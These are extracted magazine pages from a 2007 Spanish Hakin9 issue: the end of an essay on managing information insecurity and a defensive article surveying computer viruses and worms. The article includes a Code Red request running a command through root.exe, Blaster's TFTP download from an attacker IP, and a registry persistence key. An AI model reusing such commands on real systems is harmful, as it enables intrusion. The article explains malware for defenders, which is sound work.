Si esto es así, la organización destruirá estructuralmente la falsa sensación de seguridad y la re-emplazará por una estrategia de aprendizaje permanente sobre los incidentes que se presenten, como la norma misma de la gestión de éstos. Esto es, tomará ventaja de lo que aprende de la inseguridad de la información, para construir mejores propuestas de protección, basado en aquello que ven los intrusos y las ventajas que ofrecen las tec-nologías.

ConclusiónLa realidad del creciente número de vulnerabilidades reportadas, in-cidentes ocurridos y fallas identifica-das nos invita a reflexionar sobre la forma de cómo hemos venido afron-tando los riesgos que éstas generan y los impactos de las mismas. En este sentido, el paradigma actual de la seguridad de la información ha entrado en crisis, por lo que se requiere estudiar en profundidad la mente de los intrusos y sus reflexio-nes para comprender mejor lo que ocurre ante una falla. Por tanto, no es suficiente descubrir la falla puntal y analizar cómo se materializó, sino que se requiere una revisión relacio-nal de lo que ocurrió para entender

de manera estructural el porqué de ésta.

Por tanto, se hace necesario complementar el modelo de riesgos y controles actual, con uno basado en las técnicas de hacking, que más allá de estar concentrado en los activos a proteger y sus vulnerabi-lidades, reconoce las relaciones de los diferentes componentes del sis-tema para responder las preguntas planteadas anteriormente (sección repensando la seguridad de la infor-mación).

El modelo de Administración de la Inseguridad Informática (Figura 3) presentado vincula los dos paradig-mas, el de riesgos y controles y el del hacking, como una manera efec-tiva de procurar una administración de la protección de la información,

cuya dinámica de aplicación debe llevar a una distinción organizacional sobre la gestión de la inseguridad de la información que se denomi-na en la teoría information assuran-ce (SCHOU, C. y SHOEMAKER, D. 2007) o aseguramiento de la infor-mación.

Finalmente, el modelo de ADINSI propuesto (Figura 3) es una manera alterna para comprender que exis-ten tensiones entre las personas, los procesos y la tecnología (KIELY, L y BENZEL, T 2006) que deben ser objeto de revisión permanente y así evaluar el impacto de las mismas en temas como las expectativas de la alta gerencia, la arquitectura de se-guridad informática y las prácticas de seguridad de las organizaciones. l

Figura 3. Modelo de Administración de la Inseguridad Informática

Nivel Estratégico

Nivel Operacional

Descubriendo la inseguridad

Entendiendo la inseguridad

ExpectativasCorporativas

Objectivosde Negocio

Arquitecturade Seguridad

Culturade Seguridad

Estándares yBuenas prácticas

Infraestructurade Seguridad

Prácticasde SeguridadInformática

Procedimientosde Operación

Configuracióny Adecuación

AnálisisDiagnóstico

Sobre el AutorJeimy J. Cano, Ph.D, CFE. Miembro investigador del Grupo de Estudios en Comer-cio Electrónico, Telecomunicaciones e Informática (GECTI). Facultad de Derecho. Universidad de los Andes. Colombia. Miembro Investigador de ALFA-REDI (Red Latinoamericana de Especialistas en Derecho Informático). Ingeniero de Sistemas y Computación, Universidad de los Andes. Magíster en Ingeniería de Sistemas y Computación, Universidad de los Andes. Ph.D in Business Administration, Newport University. Profesional certificado en Computer Forensic Analysis (CFA) del World Institute for Security Enhacement, USA. Profesional certificado como Certified Fraud Examiner (CFE) por la Association of Certified Fraud Examiners. Contacto: [email protected].

Page 43: Revista Hakin9 n23 04-2007 ES
Page 44: Revista Hakin9 n23 04-2007 ES

www.hakin9.org44

Defensa

No hay ningún sistema seguro salvo quizás aquel que esté apagado y des-enchufado de la red eléctrica.

El desarrollo de los códigos malignos ha venido evolucionando de simples intentos de demostración de conocimiento informático, por parte de programadores individuales; a verdaderos negocios, con jugosas ganan-cias llevados a cabo por mafias con objetivos precisos.

Durante los últimos diez años, se vieron cambiar notablemente los tipos y la velocidad de propagación de los códigos malignos: des-de los disquetes flexibles que se contagiaban mediante la inserción manual del disco de una computadora a otra, hasta técnicas más sofisti-cadas de códigos que crean réplicas fácilmen-te en las redes y el mundo a través de Inter-net.

El origen de los códigos maliciososSegún plantean algunos autores el primer có-digo malicioso fue un virus creado en 1982, co-nocido por Elk Cloner, y su autoría corresponde a Rich Skrenta, quien en ese entonces era un muchacho de sólo 14 años de edad. El virus

fue escrito para las máquinas Apple II, que al infectarse mostraban el siguiente mensaje en pantalla por cada cincuenta veces que se en-cendiese la computadora:

Elk Cloner: The program with a personality

It will get on all your disks

It will infiltrate your chips

Yes it's Cloner!

It will stick to you like glue

Programas malignos

Carlos Javier Fornés Cabrera

Grado de dificultad

Todo ordenador o sistema informático está expuesto a una serie de amenazas de tipo software que, por mucho que intentemos evitarlas, siempre van a estar ahí. Dichas amenazas son programas diseñados con el único propósito de causar daños en los sistemas donde se ejecutan, como por ejemplo borrar el disco duro o estro-pear el sistema operativo eliminando determinados archivos.

En este artículo aprenderás...• Qué es un Virus, Gusano y Caballo de Troya,

descripción y ejemplos de algunos conocidos,• Métodos y técnicas, de reproducción e infec-

ción de los principales PM,• Incidencia en el mundo actual.

Lo que deberías saber...• Breve referencia sobre programas malignos y sus

técnicas,• formato PE, tener una pequeña idea de sobre

binarios,• Conocer las vulnerabilidades de los sistemas

operativo en este caso Windows.

Page 45: Revista Hakin9 n23 04-2007 ES

Programas malignos

www.hakin9.org 45

It will modify RAM too

Send in the Cloner!

Al tratarse de un período en que In-ternet era un sistema limitado a los círculos académicos, la propagación de Elk Cloner se producía mediante disquetes.

Sin embargo en la conocida en-ciclopedia libre Wikipedia se plantea que el primer virus que atacó a una máquina IBM Serie 360 (y reconoci-do como tal), fue llamado Creeper, creado en 1972 por Robert Thomas Morris. Este programa emitía perió-dicamente en la pantalla el mensaje: I'm a creeper, catch me if you can! (Soy una enredadera, agárrenme si pueden).

Para eliminar este problema se creó el primer programa antivirus denominado Reaper (Segadora).

Sea como fuere, la denomina-ción virus informático fue introducida en 1983 por el investigador Fred Co-hen, quien usó tal concepto para referirse a sus experimentos de có-digos autorreproducibles. Sin embar-go, la producción masiva de tales códigos -y la competencia por crear los virus más destructivos, molestos o ingeniosos- surgió después del lan-zamiento del libro Neuromancer de William Gibson, que sirvió de fuen-te de inspiración para muchos escri-tores de virus.

El primer virus que llamó la aten-ción mediática a nivel mundial fue Jerusalén, que después de propa-garse de forma silenciosa, liberaba su carga destructiva cada viernes 13, eliminando archivos en las má-quinas infectadas.

Con ello se había dado inicio a la eterna lucha entre los escritores de códigos malignos y su contra-parte, las empresas de seguridad informática y de programas antivi-rus.

Virus informáticoUn virus informático es un pequeño programa creado para alterar la forma en que funciona un equipo sin el permiso o el conocimiento del usuario. Un virus debe presentar dos características:

Debe ser capaz de ejecutarse a sí mismo. A menudo coloca su pro-pio código en la ruta de ejecución de otro programa.

Debe ser capaz de replicarse. Porejemplo, puede reemplazar otros ar-chivos ejecutables con una copia del archivo infectado. Los virus pueden infectar tanto equipos de escritorio como servidores de red.

Algunos virus están programa-dos para atacar el equipo dañando programas, eliminando archivos o re-formateando el disco duro. Otros no están creados para causar daño alguno, sino para replicarse y dar a conocer su presencia mediante la presentación de mensajes de texto, vídeo o sonido. Incluso estos virus benignos pueden crear problemas al usuario del equipo. Normalmente

hacen uso de la memoria corres-pondiente a los programas legíti-mos.

Como resultado, pueden provo-car a menudo un comportamiento irregular en el equipo e incluso hacer que el sistema deje de responder. Además, muchos virus contienenerrores que pueden ocasionar pér-didas de datos y bloqueos del sis-tema.

Existen cinco tipos de virus conocidosVirus que infectan archivos: este tipo de virus ataca a los archivos de programa. Normalmente infectan el código ejecutable, contenido en archivos .com y .exe, por ejemplo. También pueden infectar otros archi-vos cuando se ejecuta un programa

Listado 1. Cambios que realiza un infector de archivo en los ficheros con extensión.exe y .scr

c:\ActSAV32\SAV32 Act.exe

Old date: 3/23/2005 1:26 PM

New date: 3/23/2005 1:26 PM

Old size: 159,744 bytes

New size: 337,664 bytes

c:\Documents and Settings\fornes\Desktop\CDSecure.exe

Old date: 8/25/2006 1:05 PM

New date: 8/25/2006 1:05 PM

Old size: 1,656,978 bytes

New size: 1,836,798 bytes

c:\Documents and Settings\fornes\Desktop\cv2k4_100fuga.exe

Old date: 8/21/2006 1:51 PM

New date: 8/21/2006 1:51 PM

Old size: 1,122,959 bytes

New size: 1,304,324 bytes

c:\Documents and Settings\fornes\Desktop\Pack_Vista_Inspirat_1.1.exe

Old date: 4/11/2006 1:44 PM

New date: 4/11/2006 1:44 PM

Old size: 27,977,025 bytes

New size: 28,155,140 bytes

Figura 1. Comparación de un fichero entre el original y la muestra infectada con el virus W32.PARITE.A

Page 46: Revista Hakin9 n23 04-2007 ES

www.hakin9.org

Defensa

46

infectado desde un disquete, una unidad de disco duro o una red. Muchos de estos virus están resi-dentes en memoria. Una vez que la memoria se infecta, cualquier archi-vo ejecutable que no esté infectado pasará a estarlo. Algunos ejemplos conocidos de virus de este tipo son Jerusalén y Parity.a.

Ejemplo: Virus Parity.AVirus polimorfico tambien conocido como W32/Pate.a.dam.

Tiene un tamaño de 176,128 bytes. Es un infector de archivos del tipo parásito ya que se adjunta a otro programa y se activa cuando ese programa es ejecutado.

Posee además características de gusano, ya que puede propagarse a través de redes.

Cuando se ejecuta, se agrega al final de todos los archivos con forma-to PE (Portable Executable), con ex-tensión .exe y .scr en el directorio de Windows y todos los subdirectorios del sistema local, así como a todos los archivos accesibles en unidades de red compartidas. En ocasiones el virus corrompe el archivo infectado, siendo imposible su recuperación.

El virus crea una sección extra en el archivo PE, con un nombre de tres letras al azar más el carácter (•).

Crea la siguiente clave en el re-gistro:

HKCU\Software\Microsoft\Windows\

CurrentVersion\Explorer\PINF

Como es un infector de archivo ve-remos una muestra de los cambios que realiza en los ficheros formato PE (Portable Executable), con ex-tensión .exe y .scr (Listado 1).

Vemos como aumentan de ta-maños estos archivos, demostran-do la existencia del virus, a partir de este momento estos archivos es-tán infectados y listos para repro-ducir el virus. Si de alguna manera estos archivos infectados abando-nan el equipo contaminado, bien mediante porque han sido copiados a un CD-ROM, a una memoria de tipo flash o de cualquier otra forma, y es ejecutado en otro equipo, la

acción se repetirá, contaminándo-lo todo.

Como vemos en la descripción, este virus tiene acción de gusano, cuya definición veremos mas ade-lante, así que también se copia por la red en directorios compartidos. Esto quiere decir que a la hora de la contaminación si existía otro equipo compartiendo un directorio con la equipo contaminado (y sin las medi-das de seguridad apropiadas), y en él hubiese algún archivo de tipo .exe

o .scr, estos también quedarían contaminados, comenzando de nuevo la cadena de reproducción del virus.

En Figura 1 vemos a la izquierda el archivo original y a la derecha el mismo archivo infectado por el virus PARITE.A. El Archivo original (izquierda) termina en la dirección de memoria 0x00032FF0 y a partir de esta, se copia el código del virus (derecha).

Para poder controlar el archi-vo original infectado (Figura 2), el

Figura 2a. Archivo infectado

Figura 2. Archivo original

Figura 3. Primera intrusión del virus en el archivo infestado

Page 47: Revista Hakin9 n23 04-2007 ES

Programas malignos

www.hakin9.org 47

virus cambia su punto de entradao Entrypoint – primera instrucción que se va a ejecutar (Figura 2a). Podemos ver a la Izquierda el des-plazamiento del archivo o File Offset cuyo valor es 00033000 en disco, que precisamente corresponde a la primera intrusión del virus en el ar-chivo infestado (Figura 3).

Virus de sector de arranqueEstos virus infectan el área de siste-ma de un disco. Es decir, el registro de arranque o Master Boot Record (MBR) de los disquetes y los discos duros. Todos los disquetes y discos duros (incluidos los que sólo con-tienen datos) tienen un pequeño programa en el registro de arranque que se ejecuta cuando se inicia el equipo.

Los virus de sector de arranque se copian en esta parte del disco y se activan cuando el usuario inten-ta iniciar el sistema desde el disco infectado. Estos virus están resi-dentes en memoria por naturaleza. La mayoría se crearon para DOS, pero todos los equipos, indepen-dientemente del sistema operativo, son objetivos potenciales para este tipo de virus. Para que se produzca la infección basta con intentar iniciar el equipo con un disquete infecta-do. Posteriormente, mientras el virus permanezca en memoria, todos los disquetes que no estén protegidos contra escritura quedarán infectados al acceder a ellos. Algunos ejemplos de virus del sector de arranque son Form, Disk Killer, Michelangelo y Sto-ned.

Virus de sector de arranque maestroEstos virus están residentes en memoria e infectan los discos de la misma forma que los virus del sector de arranque. La diferencia entre ambos tipos de virus es el lugar en que se encuentra el có-digo vírico.

Los virus de sector de arranque maestro normalmente guardan una copia legítima del sector de arran-que maestro en otra ubicación. Los equipos con Windows NT infectados

por virus del sector de arranque o del sector de arranque maestro no po-drán arrancar. Esto se debe a la dife-rencia en la forma en que el sistema operativo accede a la información de arranque, en comparación con Windows 95/98. Si el sistema con Windows NT está formateado con particiones FAT, normalmente se puede eliminar el virus arrancando desde DOS y utilizando un programa antivirus.

Si la partición de arranque es NTFS, el sistema deberá recupe-rarse utilizando los tres discos de instalación de Windows NT. Algu-nos ejemplos de virus del sector de arranque maestro son NYB, AntiExe y Unashamed.

Virus múltiplesEstos virus infectan tanto los regis-tros de arranque como los archivos de programa. Son especialmente di-fíciles de eliminar. Si se limpia el área de arranque, pero no los archivos, el área de arranque volverá a infec-tarse. Ocurre lo mismo a la inversa. Si el virus no se elimina del área de arranque, los archivos que hayan sido limpiados volverán a infectarse. Algu-nos ejemplos de virus múltiples son One_Half, Emperor, Antrax y Tequila.

Virus de macroEstos virus infectan los archivos de datos. Son los más comunes y han costado a empresas impor-tantes gran cantidad de tiempo y di-nero para eliminarlos. Con la lle-gada de Visual Basic en Microsoft Office 97, se puede crear un virus de macro que no sólo infecte los archivos de datos, sino también

otros archivos. Los virus de ma-cro infectan archivos de Microsoft Office: Word, Excel, PowerPoint y Access.Actualmente están sur-giendo también nuevos derivados en otros programas. Todos estos virus utilizan el lenguaje de pro-gramación interno de otro pro-grama, creado para permitir a los usuarios automatizar ciertas tareas dentro del programa. Debido a la facilidad con que se pueden crear estos virus, existen actualmente miles de ellos en circulación. Al-gunos ejemplos de virus de macro son W97M.Melissa, WM.NiceDay y W97M.Groov.

Los GusanosLos gusanos son programas que se replican a sí mismos de sistema a sistema sin utilizar un archivo para hacerlo. En esto se diferencian de los virus, que necesitan extender-se mediante un archivo infectado. Aunque los gusanos generalmente se encuentran dentro de otros ar-chivos, a menudo documentos de Word o Excel, existe una diferencia en la forma en que los gusanos y los virus utilizan el archivo que los alberga.

Normalmente el gusano genera-rá un documento que ya contendrá la macro del gusano dentro. Todo el documento viajará de un equipo a otro, de forma que el documento completo debe considerarse como gusano.

Se han hecho muy populares debido al amplio uso actual de In-ternet y el correo electrónico. Aun-que los primeros experimentos con estos tipos de programas se remon-

Figura 4. Ataque del gusano ‘Code Red’

Page 48: Revista Hakin9 n23 04-2007 ES

www.hakin9.org

Defensa

48

tan al año 1982 en el Research Center de Palo Alto, Estados Uni-dos, no fue hasta el 2 de noviem-bre de 1988 cuando se multiplicóel primer gusano a través de Inter-net.

Su nombre era Morris, explotó múltiples huecos de seguridad y afec-tó en pocas horas alrededor de 60.000 computadoras, causando pro-blemas de conectividad durante va-rios días. A partir de esa fecha, otros códigos maliciosos también hicieron irrupción en las redes, pero no fue hasta los primeros días del mes de marzo de 1999, cuando apareció Melissa, fue entonces cuando se convirtieron en un verdadero dolor de cabeza.

Melissa logró un alto nivel de in-fección por el gran intercambio de información contenida en archivos escritos en la aplicación Word de la suite Microsoft Office, y por su modo de diseminación. Viajó en un correo electrónico con asunto Im-portant Message From <nombre> (Mensaje Importante de…), donde el nombre correspondía al de la cuenta de correo electrónico del

usuario que supuestamente lo en-viaba.

El texto invitaba a su lectura, y el anexo contenía referencias a sitios web con información pornográfica, aunque podía sustituirse por un documento de la computadora infes-tada. De esta forma viajaron por In-ternet documentos con información sensible.

Un mensaje con estas carac-terísticas llamó la atención de muchos receptores, quienes tenta-dos abrieron el anexo y se conta-minaron. Esta técnica de explotar la debilidad de la confianza de los seres humanos, conocida como ingeniería social, ha sido amplia-mente usada por los creadores de virus.

Este fue el gusano que inició la lista de los más propagados y dañi-nos en la historia de los códigos ma-lignos, y en pocos días logró afectar 1.200.000 computadoras con daños ascendentes a 1.100 millones de dólares, según la publicación Com-puter Economics.

Ese mismo año, en el mes de ju-nio, fue reportado el altamente des-tructivo gusano ExploreZip. Al igual que el anterior, viajaba en un correo electrónico y adjuntaba un archivo de nombre zipped_files. Además, utilizaba el icono de compresión del programa WinZip y así daba la impresión de ser la respuesta a un texto previamente enviado por el receptor.

Este código infeccioso borraba además los archivos de extensión .c, .h, .cpp, .asm, .doc, .xls, .ppt, asig-

nándoles un tamaño de 0 bytes, con lo cual eran irrecuperables.

En Mayo de 2000 las redes in-formáticas de todo el mundo sufrie-ron una gran conmoción cuando apareció el célebre gusano I love you o Love Setter. Este fue un pro-grama que explotó varias vías de reproducción, como el correo elec-trónica, la mensajería instantánea, las salas de conversación o chats, los servicios de noticias o news-groups, los archivos compartidosen una red o las páginas web en Internet.

El mensaje tenía como asunto ILOVEYOU (Te quiero, en inglés), y el texto sugería abrir una carta de amor enviada al destinatario, que aparecía como anexo en el nombre LOVE-LETTER-FOR-YOU.TXT.VBS (CARTA DE AMOR PARA TI, en inglés).

A diferencia del Melissa, el ILO-VEYOU intentaba enviar un mensaje similar a todas las direcciones de co-rreo que tenía la máquina infectada, por lo cual el nivel de difusión alcan-zado fue muy alto, alrededor de tres millones de computadoras en un día. Esto, junto a la destrucción de ar-chivos en el disco duro, que realizó mediante la sobre escritura con su código, provocó daños en todo el mundo valorados en 8.750.000 dó-lares.

El año 2001 también fue pródigo en gusanos notorios. El primero de ellos, Code Red o Código Rojo, re-sultó todo un acontecimiento, tanto por los altos niveles de extensión co-mo por las novedosas técnicas que empleaba. Este código afectó a un buen número de servidores de Inter-net de Microsoft (Microsoft Internet Information Server o IIS), además de lanzar ataques de denegación de servicio (DoS).

Se pueden diferenciar dos var-iantes de la familia Code Red. Ambas explotaron la vulnerabilidad MS01-033 en las extensiones ISAPI en las versiones 4.0 y 5.0 del servicio IIS (Microsoft Internet Information Service), logrando afectar, en el se-gundo caso, 359.000 computadoras en menos de 14 horas. Figura 6. La víctima del ataque del gusano

Welcome to http://www.worm.com!

Hacked By Chinese!

Figura 5. La página Web de Inicio del servidor cambiada por este mensaje

Page 49: Revista Hakin9 n23 04-2007 ES

Programas malignos

www.hakin9.org 49

La velocidad de diseminación se-gún estadísticas de CAIDA, situado en el Centro de Supercomputadoras de San Diego, fue de 2000 equipos por minuto en el momento álgido de propagación. Este hecho ocurrió 24 días después de haber sido libe-rado el parche para solucionar la vulnerabilidad. La Figura 1 muestra cómo Code Red realiza la búsqueda del equipo vulnerable y su posterior propagación.

Vulnerabilidad MS01-033MS01-033 (Unchecked Buffer in Index Server ISAPI Extension Could Enable Web Server Compromise).

Vulnerabilidad en el archivo IDQ.DLL, de los servidores Microsoft IIS 5.0.Sistemas Afectados:

• Windows 2000 IIS (Versión ingle-sa),

• Windows NT (Versión inglesa).Filtro: Codered: "http or tcp.dstport == 80"

En la Figura 4 vemos una mues-tra de la captura de Ethereal en el momento del ataque del gusano Co-de Red. Como vemos son simples peticiones (GET), utilizadas por el protocolo HTTP para descargar una simple pagina Web, con el siguiente formato:

http://www.maquina victima.com/

scripts/

root.exe?/c+dir+c:\HTTP/1.1

El código se guarda como archivo en el disco, sino que a través de IIS se posiciona en la memoria di-námica integrándose en el propio sistema. Una vez que Code Red ha infectado un servidor, empieza a bus-car direcciones IP de forma aleato-ria con el propósito de infectar otros servidores que tengan instalado el IIS.

Una vez que Code Red ha logra-do infectar un servidor Web, actúa de la siguiente forma:

• Se integra en la plataforma del sistema infectado,

• Genera 100 hilos (subprocesos) del gusano,

• Los primeros 99 hilos los utlizará para propagarse a otros servido-res web,

• El hilo número 100 verifica si el sistema Windows NT/2000 es una versión inglesa.

De ser así, el gusano procederá a desconfigurar el sitio Web del sis-tema infectado. La página Web de Inicio del servidor se cambiará por un mensaje que presenta este as-pecto:

Welcome to http://www.worm.com!, Hacked By Chinese!. Este mensaje en la página infectada, permanecerá activa durante 10 ho-ras y luego desaparecerá. El men-saje no se volverá a mostrar, a me-nos que el servidor sea reinfectado por otro sistema.

Si el sistema no tiene Windows NT/2000 en inglés, el hilo 100 se uti-lizará para infectar otros servidores.

Cada hilo del gusano busca el archivo c:\notworm. Si lo encuentra, el gusano permanecerá inactivo.

Si no se encuentra, cada hilo con-tinuará intentando infectar más ser-vidores web (Figura 5).

Cada hilo del gusano verifica la fecha del sistema del servidor infec-tado.

• Si la fecha es posterior al día 20 del mes, el hilo dejará de buscar sistemas para infectar y en su lugar atacará el servidor web de La Casa Blanca de los Estados Unidos en www.whitehouse.gov. El ataque consiste en el envío de 100 kilobytes de datos al puerto 80 del mencionado sitio web.

Este aluvión de información (410 megabytes cada 4 horas y me-dia) provocará la saturación de los servicios infectados.

• Si la fecha es entre los días 10 y 19 del mes, el gusano no inten-tará atacar al sitio web de la Ca-sa Blanca y continuará tratando de infectar nuevos servidores web en todo el mundo.

El 7 de Agosto de 2001, a causa del gusano Code Red, los servidores de la Casa Blanca, sede de la Presiden-

cia de los Estados Unidos migraron al sistema operativo Linux:

En enero de 2003 el gusano Slammer explotó una vulnerabilidad presente en el servicion de resolu-ción de Microsoft SQL Server 2000 y Microsoft Desktop Engine 2000 basada en un desbordamiento de buffer (MS02-039). Logró afectar entre 100.000 y 200.000 equipos en 10 minutos, duplicando la cantidad de equipos comprometidos en po-cos segundos. La difusión comenzó transcurridos 183 días a partir de la liberación del parche oficial de seguridad. En la figura 2 se puede observar la localización de la vícti-ma potencial y su posterior transmi-sión.

SIRCAM fue el segundo de los afamados de ese año, detectado inicialmente el 25 de julio, y se dis-tribuyó con textos escritos en inglés y español. El anexo, con doble ex-tensión, contenía un fichero formado por dos archivos, uno con el código del gusano y otro robado de la com-putadora desde donde era enviado. En esa ocasión los daños evalua-dos fueron del orden de los 1.150 millones de dólares, sin considerar el hecho de que creó brechas de confidencialidad al dar a la luz archi-vos con información potencialmente sensible.

Para finalizar el año, el 8 de di-ciembre se emitieron los primeros informes del Nimda, que circuló con formato de página Web, al-terado de forma tal que engañó a Internet Explorer, permitiendo la ejecución del archivo adjunto con

Figura 7. Esta ventana podía aparecer en Windows XP debida a la acción del gusano Blaster

Page 50: Revista Hakin9 n23 04-2007 ES

www.hakin9.org

Defensa

50

solo visualizar la vista previa. Los daños ocasionados por su acción ascendieron a 635 millones de dó-lares.

Durante el año 2002, los gu-sanos más distinguidos fueron los pertenecientes a la familia Klez, los cuales se mantuvieron alrede-dor de 12 meses en el primer lugar de las listas de informes de las empresas antivirus. Según el bole-tín G2 Security, de Mayo de 2002, con el nivel de propagación alcan-zado de la variante Klez.H se lle-garon a detectar 2.000 copias diar-ias.

Finalmente, en el transcurso del año 2003 nuevos gusanos co-mo Slammer o Sapphire causaron estragos, hasta el punto que Corea del Sur desapareció de Internet, 13.000 computadoras de un gran banco de los Estados Unidos deja-ron de trabajar, y una línea aérea americana canceló vuelos por pro-blemas en los sistemas de compra y chequeo de billetes. Además, lo-gró afectar entre 100.000 y 200.000 computadoras en 10 minutos, dupli-cando la cantidad en pocos segun-dos.

Famosos también fueron Blas-ter o Lobezna y los miembros de la familia Sobig. En el caso de la ver-sión Sobig.F, aparecida en Agosto, rompió todos los records históricos de gusanos que utilizaban como vía principal el correo electrónico, pues en su momento álgido fue detectado un correo portador por cada 20 transmitidos a través de Internet.

Otro gusano que basó su éxito en la ingeniería social superó esta cifra a inicios de 2004; su nomb-re Mydoom.A. Entre sus caracte-rísticas principales se encontraba que podía viajar en archivos adjun-tos comprimidos, tendencia se-guida por sus sucesores como las variantes de Netsky y Bagle, muy diseminadas durante este mismo año.

Esta nueva propensión, más comp-leja aún con el uso de palabras cla-ves o contraseñas, se debió a que los administradores de los servido-

res de correo electrónico limitaban el envío y recepción de archivos ejecu-tables, pero no limitaban los archivos comprimidos.

Lo curioso es que si bien el usuar-io tenía que descomprimir el código del gusano para ejecutarlo, y en mu-chos casos teclear la palabra clave, los creadores de virus inteligente-mente dispusieron que la palabra clave viajara dentro del texto del men-saje.

En general, aunque las principa-les vías de transmisión de los gusa-nos han sido el correo electrónico y los recursos compartidos a través de las redes, existen otros como las re-des P2P utilizadas para el intercam-bio de archivos, e incluso la sencilla vía de los disquetes, cada día más en desuso.

Existe una nueva tendencia, ca-da vez más utilizada, de explotar las vulnerabilidades o defectos de se-guridad de los sistemas operativos y aplicaciones.

Ejemplo de un gusanosque explotan vulnerabilidadadesEn enero de 2003 el gusano Sla-mmer explotó una debilidad pre-sente en el servicio de resolucion de Microsoft SQL Server 2000 y Microsoft Desktop Engine 2000 basada en un desbordamiento de buffer (MS02-039). Logró afectar entre 100.000 y 200.000 equipos en 10 minutos, duplicando la canti-dad de equipos comprometidos en pocos segundos. La difusión co-menzó transcurridos 183 días a par-

Figura 8. Moquina que realiza el ataque

Figura 9. Captura hecha por el analizador de protocolos de red ‘Ethereal’ escuchando en otra maquina de la red

Page 51: Revista Hakin9 n23 04-2007 ES

Programas malignos

www.hakin9.org 51

tir de la liberación del parche de seguridad. En la Figura 5 se puede observar la localización de la víc-tima potencial y su posterior trans-misión.

Gusano Slammer

• Vulnerabilidad que explota MS02-039,

• Buffer Overruns in SQL Server 2000 (MS02-039) Resolution Service Could Enable Code Exe-cution (Q323875),

Sistemas Afectados:

• Microsoft SQL Server 7.0,• Microsoft Data Engine (MSDE) 1.0,• Microsoft SQL Server 2000,• Microsoft Desktop Engine (MSDE)

2000.

Este gusano se propaga a través de los servidores Microsoft SQL bajo

Windows 2000, que no han sido ac-tualizados con el parche correspon-diente. Durante la infección, el gusano se mantiene activo en memoria solamente, no se copia a ningún ar-chivo

No compromete directamente al usuario individual, debido a que no in-fecta computadoras personales, solo servidores SQL bajo Windows 2000 (Microsoft SQL Server 2000 y Micro-soft SQL Server Desktop Engine (MS-DE)). Sin embargo, cómo el MSDE esta integrado no solo con el soft-ware del SQL, sino también en Visual Studio .NET y Office XP Developer Edition, el gusano podría propa-garse más allá de los servidores SQL.

Como vemos el gusano ataca el puerto 1433 (SQL).

Filtro Ethereal: Slammer (tcp.dst-port == 1433).

En la Figura 6 vemos una captura del ataque del gusano tomando co-

mo víctima la maquina con dirección IP 172.16.1.92. Señalado en rojo, tenemos el paquete en el cual viaja el Shellcode, que es el momento en el cual el gusano explota la vulnera-bilidad de Buffer Overflow en este caso.

El gusano Blaster explotó un hue-co de seguridad basado en un des-bordamiento de búfer (MS03-026), presente en el Distributed Compo-nent Object Model (DCOM) que interactúa con el protocolo de Lla-mada de Procedimiento Remoto o Remote Procedure Call (RPC) de Windows 2000 y XP. La solución fue publicada sólo 26 días antes de su propagación.

Un ataque de denegación de servicio lanzado por el gusano al si-tio en Internet donde se puso a dis-posición de los usuarios el parche de seguridad impidió su descarga durante varias horas. En la Figura 3 se muestra un ejemplo de la difu-sión.

Proceso de infección del Blas-ter en un ambiente virtual utilizando el mismo exploit que usa el gusano para crear una shell (Puerta tra-sera) en el equipo víctima por la cual el mismo se copia emulando un servidor FTP. Si el ataque se realiza con éxito, el gusano tomará el control de la máquina víctima de forma remota como usuario Admi-nistrador, pudiendo realizar cual-quier tarea. En este caso ejecuta el comando siguiente para copiarse el mismo:

TFTP (IP atacante) GET (Blaster)

Después seguirá buscando máqui-nas hasta encontrar algunas vul-nerables y repetir de nuevo el pro-ceso.

El Proceso de Infección se pue-de ver en Figura 8, 9, 10, 11.

Este ataque (Figura 8) fue reali-zado por la herramienta que explota la vulnerabilidad (exploit), pero es el mismo procedimiento efectuado por el gusano, con la diferencia que todo es oculto al usuario.

Figura 9 – captura hecha por el analizador de protocolos de red

Figura 10. Captura del estado de los puertos de la víctima. Se ve el puerto abierto por el gusano

Figura 11. El gusano obtuvo una ‘shell’ (acceso abierto en el sistema víctima) y está listo para copiarse

Page 52: Revista Hakin9 n23 04-2007 ES

www.hakin9.org

Defensa

52

Ethereal escuchando en otra maqui-na de la red. Podemos ver el ataque que utiliza la vulnerabilidad de RPC (Protocolo DCERPC). Seleccionado esta el shellcode que se utiliza para explotar el Buffer Overflow o desbor-damiento de buffer.

Figura 10 muestra el estado de los puertos en la víctima. Se ve el puerto abierto por el gusano.

En este momento el gusano ob-tuvo una shell (acceso abierto en el sistema víctima) y se encuentra listo para copiarse (Figura 11).

Como el gusano ya tiene una shell, puede ejecutar comandos re-motamente en la maquina víctima como si estuviera físicamente en ella. A continuación ejecuta un TFTP (viene por defecto en Windows) y uti-liza las opciones del mismo para co-piarse en la máquina. Terminado elproceso el gusano escanea rangos

IP buscando nuevas máquinas vul-nerables para repetir el proceso al completo.

El ejemplo anterior es el proceso de propagación del gusano. Cuan-do se copia y posteriormente se ejecuta puede realizar otras accio-nes.

Witty y Passer por su parte co-menzaron su propagación en 2004. El primero, altamente destructivo, se valió de una vulnerabilidad (CAN-2004-0362) en el Internet Security Systems Protocol Analysis Modu-le (PAM), cuya solución fue puesta a disposición de los usuarios sólo un día antes.

El segundo se aprovechó de un desbordamiento de buffer en el ser-vicio LSASS (MS04-011), amplia-mente empleada por nuevas fami-lias de gusanos como Mytob, cuya solución fue liberada 17 días antes.

Su difusión se puede observar en la Figura 4.

Worm.W32/Passer provoca un desbordamiento de búfer en el com-ponente LSASS.EXE, lo que hace que dicho programa falle y requiera el reinicio de Windows.

Puede presentarse el siguiente mensaje (Figura 12).

Para ejecutarse automáticamen-te cada vez que el sistema es reini-ciado, el gusano añade a la siguiente clave del registro de Windows el va-lor indicado:

Clave: HKEY_LOCAL_MACHINE\SOFTWARE\

Microsoft\Windows\CurrentVersion\Run

Valor: "avserve.exe" = C:\WINDOWS\

avserve.exe

Vulnerabilidad MS04-011Vulnerabilidad que explota en buffer Overflow en el Servicio lsass.exe (lsasrv.dll)Explotada por el gusano SasserFILTRO : Sasser ---->" dcerpc or tcp.dstport == 445 "

En el ejemplo se puede observarel momento en el cual el gusanoinyecta el shellcode en la función vulnerable de Lsass (DsRolerUp-gradeDownlevelServe). A partir de ese momento realiza lo mismo que otros gusanos de su tipo, se copia él mismo en la máquina víctimaa través de la shell que él mismo abrió aprovechando la vulnerabili-dad.

En el transcurso del 2005 la fa-milia de los gusanos Zotob comen-zó su propagación valiéndose de la vulnerabilidad en el componente Plug and Play (MS05-039), cuyo parche fue liberado 5 días antes. En la Figura 5 se muestra su trans-misión.

-Vulnerabilidad MS05-039Explotada por el gusano Zotob.

